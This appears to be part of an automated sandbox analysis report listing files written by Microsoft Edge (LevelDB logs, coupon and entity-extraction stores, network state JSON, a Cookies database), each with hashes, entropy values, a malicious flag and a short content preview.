SSDEEP:	6:HUq0TL9+q2PN723oH+Tcwt9Eh1tIFUt8YUqPp3JZmw+YUq3Fpp23f0PXUqGFpJ2n:f0P4vVaYeb9Eh16FUt8kPp3J/+k1hHGW
MD5:	D20A881CEF3009DF2A1515ED74EE34DF
SHA1:	485F8F30F3D75E81CFF4D0F415ED9536D887D8B5
SHA-256:	8EC842F52F46FE2DA1C1489873D7FC68FBD571C16F533B4D6A0EA8195E220053
SHA-512:	A3AD3CF80B8D587FA5A5DA810ACC2E50C0B957510BA74FBD55B6BA95C5F5C89DA58C8A8989FD82E5597A0F8291FDF77410616F892AAD0C6F2BC48EDD2DBD6388
Malicious:	false
Preview:	2024/11/13-12:11:29.778 1968 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/13-12:11:29.779 1968 Recovering log #3.2024/11/13-12:11:29.816 1968 Level-0 table #3: started.2024/11/13-12:11:29.901 1968 Level-0 table #3: 739859 bytes OK.2024/11/13-12:11:29.906 1968 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	360
Entropy (8bit):	5.113202070134293
Encrypted:	false
SSDEEP:	6:HUq0TL9+q2PN723oH+Tcwt9Eh1tIFUt8YUqPp3JZmw+YUq3Fpp23f0PXUqGFpJ2n:f0P4vVaYeb9Eh16FUt8kPp3J/+k1hHGW
MD5:	D20A881CEF3009DF2A1515ED74EE34DF
SHA1:	485F8F30F3D75E81CFF4D0F415ED9536D887D8B5
SHA-256:	8EC842F52F46FE2DA1C1489873D7FC68FBD571C16F533B4D6A0EA8195E220053
SHA-512:	A3AD3CF80B8D587FA5A5DA810ACC2E50C0B957510BA74FBD55B6BA95C5F5C89DA58C8A8989FD82E5597A0F8291FDF77410616F892AAD0C6F2BC48EDD2DBD6388
Malicious:	false
Preview:	2024/11/13-12:11:29.778 1968 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/13-12:11:29.779 1968 Recovering log #3.2024/11/13-12:11:29.816 1968 Level-0 table #3: started.2024/11/13-12:11:29.901 1968 Level-0 table #3: 739859 bytes OK.2024/11/13-12:11:29.906 1968 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old~RF66ae2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	360
Entropy (8bit):	5.113202070134293
Encrypted:	false
SSDEEP:	6:HUq0TL9+q2PN723oH+Tcwt9Eh1tIFUt8YUqPp3JZmw+YUq3Fpp23f0PXUqGFpJ2n:f0P4vVaYeb9Eh16FUt8kPp3J/+k1hHGW
MD5:	D20A881CEF3009DF2A1515ED74EE34DF
SHA1:	485F8F30F3D75E81CFF4D0F415ED9536D887D8B5
SHA-256:	8EC842F52F46FE2DA1C1489873D7FC68FBD571C16F533B4D6A0EA8195E220053
SHA-512:	A3AD3CF80B8D587FA5A5DA810ACC2E50C0B957510BA74FBD55B6BA95C5F5C89DA58C8A8989FD82E5597A0F8291FDF77410616F892AAD0C6F2BC48EDD2DBD6388
Malicious:	false
Preview:	2024/11/13-12:11:29.778 1968 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/13-12:11:29.779 1968 Recovering log #3.2024/11/13-12:11:29.816 1968 Level-0 table #3: started.2024/11/13-12:11:29.901 1968 Level-0 table #3: 739859 bytes OK.2024/11/13-12:11:29.906 1968 Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	634118
Entropy (8bit):	6.012076153176521
Encrypted:	false
SSDEEP:	12288:Izbw8GY2ejbOvmyAya+0Wic6MipKVK6Mi7t/J2L6sKhEea:IzU8D2efOrAkFBvK1i7t/JKRkEF
MD5:	5342DF88E43C610510D21FF48BD3B3EB
SHA1:	6E797C69D50F7ABA7930B9552EFC77A03770CE05
SHA-256:	CC14076BAD72B8C598C333376B75DD1115A6D63EE9C56F728B1C6A9BBE006124
SHA-512:	CE50BCC88027471FCD9D91CB92618E26870D03E13BC7D21AD95BF2A04E2CD0AA1D1100F3DE642769EB4ECC73C801BD7CC8CA0459D06E0B46F886D7B2D26D61F9
Malicious:	false
Preview:	...m.................DB_VERSION.1./...................BLOOM_FILTER:..&{"numberOfHashFunctions":8,"shiftBase":8,"bloomFilterArraySize":3753327,"primeBases":[5381,5381,5381,5381],"supportedDomains":"VQHYZzT0XtuKTcqDVelX21guELX0sfOKSAJxyLL6qNxG0ChfNYwfgyDvgq1Nmu/lioNEwIH6a0ghPiuQ1zVrNohy/Sun+nyPu38fkNjWdWR/1fisl+1Ii4clfFSDlkGIOxsUBY1eUYV+YKIRbfNqzqGSO4uSJ4KAqh/76ukeq/c/X8TOy6vmQWzmEUhbBHqzftFJCeQcSLXsGCBABHPCQYSIdO4YYPnpswWn6m3T8/743yjeQnHnPqtzK5QTJB3j4NFe07hK5adE3g4mCiRgLVosf1GIJzh+/QGVREfSrQ6AKrQ4eS4DOcMdqwcJtXbv0xlftvv3rjRwYU6D8Hf4A9sPppKLtF2URoSFihjar7JhJ5VTCIMQDYzGuvqLB29lAe9gxUFKeDPnb0yFzRnrQ9vWDGdEqX3/l69jc3KrU+Hu+u3/J4IVdBGwAws8fHCMSlEaq6CEghBQuwsqgRsUKYajWFckllEkowcA/rf/FBbcRWCKondDYxpxngD58p0IT00UGnzb5IKgAKpzqWKsPRL6v1292eu90NB/txqVsH0hPlq5bSyykf6+inTwuJVOKhj9f1UN2VspIFJoIMU3ynS5kQzwsOfk2BTdIOgIFJkAsSQ/u0Fk5JkgK5gGddhbk9A5BF6fmvXaydFGfm2vfSCIk+owQox7SkTOU7ErisREMOM5UhuGfUfY4mFbxxGVzAhjYw0GA/axhBJsyaOzPR4eQ5XXE7NpLev/VLAG0jJINPtMxHlgNZ1pQJK2MlUCklhMGxaVFSOVhrDNDLe+TotQPmGcGD+DRPu

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000005.ldb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	634093
Entropy (8bit):	6.011373176932516
Encrypted:	false
SSDEEP:	12288:8zGw8GK2njwovyCyya+IWicVMi/hKK6Mi7m/J2LusKhETn:8zz8/2nso5yuFKDK1i7m/JKFkET
MD5:	BD2477B7E92299997D7A59CF9B6A1F35
SHA1:	615CA702581D07D33CADF21E470ACF37B2EEADB8
SHA-256:	58DBD75FB7C2C206E1F7C3EF92210A9EB04E62C698B47C166E90392056621DCE
SHA-512:	DA4D4FCE1C727963EDE19C10825A4B7C981432B640CE22BF42EFB35D8141165A0E88C4C595C03C732221CCC28A9B4726EF2BE70E259E42CA8BC16B163CD299A5
Malicious:	false
Preview:	....&BLOOM_FILTER:........{"numberOfHashFunctions":8,"shiftBase":8,"bloomFilterArraySize":3753327,"primeBases":[5381,5381,5381,5381],"supportedDomains":"VQHYZzT0XtuKTcqDVelX21guELX0sfOKSAJxyLL6qNxG0ChfNYwfgyDvgq1Nmu/lioNEwIH6a0ghPiuQ1zVrNohy/Sun+nyPu38fkNjWdWR/1fisl+1Ii4clfFSDlkGIOxsUBY1eUYV+YKIRbfNqzqGSO4uSJ4KAqh/76ukeq/c/X8TOy6vmQWzmEUhbBHqzftFJCeQcSLXsGCBABHPCQYSIdO4YYPnpswWn6m3T8/743yjeQnHnPqtzK5QTJB3j4NFe07hK5adE3g4mCiRgLVosf1GIJzh+/QGVREfSrQ6AKrQ4eS4DOcMdqwcJtXbv0xlftvv3rjRwYU6D8Hf4A9sPppKLtF2URoSFihjar7JhJ5VTCIMQDYzGuvqLB29lAe9gxUFKeDPnb0yFzRnrQ9vWDGdEqX3/l69jc3KrU+Hu+u3/J4IVdBGwAws8fHCMSlEaq6CEghBQuwsqgRsUKYajWFckllEkowcA/rf/FBbcRWCKondDYxpxngD58p0IT00UGnzb5IKgAKpzqWKsPRL6v1292eu90NB/txqVsH0hPlq5bSyykf6+inTwuJVOKhj9f1UN2VspIFJoIMU3ynS5kQzwsOfk2BTdIOgIFJkAsSQ/u0Fk5JkgK5gGddhbk9A5BF6fmvXaydFGfm2vfSCIk+owQox7SkTOU7ErisREMOM5UhuGfUfY4mFbxxGVzAhjYw0GA/axhBJsyaOzPR4eQ5XXE7NpLev/VLAG0jJINPtMxHlgNZ1pQJK2MlUCklhMGxaVFSOVhrDNDLe+TotQPmGcGD+DRPuFpGrocpZYDMCB7dnuyUBGBzriaBN54A7akXRAEGHOY0q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	375520
Entropy (8bit):	5.354051639290515
Encrypted:	false
SSDEEP:	6144:ZA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:ZFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	65470D7DDD2942D43452BFF19F692990
SHA1:	44313CFD855B94FDE9D8B5B69173216AA3BD4F29
SHA-256:	0E2C6A480B62AA2CAB9D5DCF51EB64004DFCBBB1E89A08706126F6B8278B56E2
SHA-512:	7DF33AD83BF4D98F080F6D0E0822F08FA0D915755BAB451D253524D24D8E36488E45D2E52B85189A38A3E49671F66B98E7F0FF7712330BEC1B3C0D3279F7B05C
Malicious:	false
Preview:	...m.................DB_VERSION.19[AXq...............&QUERY_TIMESTAMP:domains_config_gz2...13375991310990773..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.1328898735826645
Encrypted:	false
SSDEEP:	6:HUqMHM1N723oH+Tcwtk2WwnvB2KLlVUqMEjq2PN723oH+Tcwtk2WwnvIFUv:IsaYebkxwnvFLTjvVaYebkxwnQFUv
MD5:	97D72D1CFED2264AED347A070A68BDE4
SHA1:	3A90C1AAF1A62EA0F623F941732B13D52D208E84
SHA-256:	033CF5AD4EC3D8BA3F674675AA8560725CF2582D7606EC9882E917C21B018D26
SHA-512:	D3E9EE00318F730112C2003DC20678F9ADAD7687DC14539859FB1C100AF4A371A997CAE91AB096DB1D65CAB14901E9258E788FDE57558438294B43EE2332A067
Malicious:	false
Preview:	2024/11/13-12:08:29.006 1c34 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/13-12:08:29.320 1c34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	358860
Entropy (8bit):	5.324610762944389
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R9:C1gAg1zfvF
MD5:	B8B44BF198A8489615AE07C821039025
SHA1:	C0006065FA97DD1EF1095F090136F07E2C1737E6
SHA-256:	AD8955AC32ACC102BAEC3EDB87DE3CC636681492F64AAC59C10B5F6596D9FBBB
SHA-512:	7ADDFB0658A27D756242BD4D1DDD0C81CBED490B4DAC4883EF826CD61B59949243D0A8F6A8D1FE35E5E22D4E8484B9601F56DECDA4FA65FB6682FD955159EE43
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\01b00dbc-803e-4b03-ab06-5a52766dc787.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\428aa09c-f5b0-43a4-9849-b82d467b6771.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\752735cd-6378-477f-9d67-e813adaf9f8d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\77662010-a7e0-48fd-9473-a187b40f5b76.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7ae91bba-1566-480d-aabc-ae99802a967f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	modified
Size (bytes):	20480
Entropy (8bit):	2.8170678884145
Encrypted:	false
SSDEEP:	192:tTr4pYK/CkFQf1SIfxHZARlU0c4p0L/ZJVb:VMd/C6Qf1SIfx90lp0LhJVb
MD5:	F0D1B5953A84D83CC65D6F1974C5AF87
SHA1:	C160D070CD14B5046D458B6BD816E07C3D033488
SHA-256:	E755794F661A0BD69C6CBC90CADC6EBED86EA5D5534591C722B54E5049A03EA7
SHA-512:	671342420A5AACB7853F2BFC7B4DBFB9C2004DC2C237E826BC44821ABF84AD04495F002C9A805C9FD12E92252740EF93F7655D142E702BBAF636DEFF3987C221
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.484064094009749
Encrypted:	false
SSDEEP:	96:JkIEumQv8m1ccnvS6Qi+noG9WhXU94cOw1a:+IEumQv8m1ccnvS6QBo4WRUTOr
MD5:	01F8B6F7BB34DDE3C1BC419E173B2560
SHA1:	1578C2B0CB790D2E7E3E08D2EDBEC5FB9FD8F85B
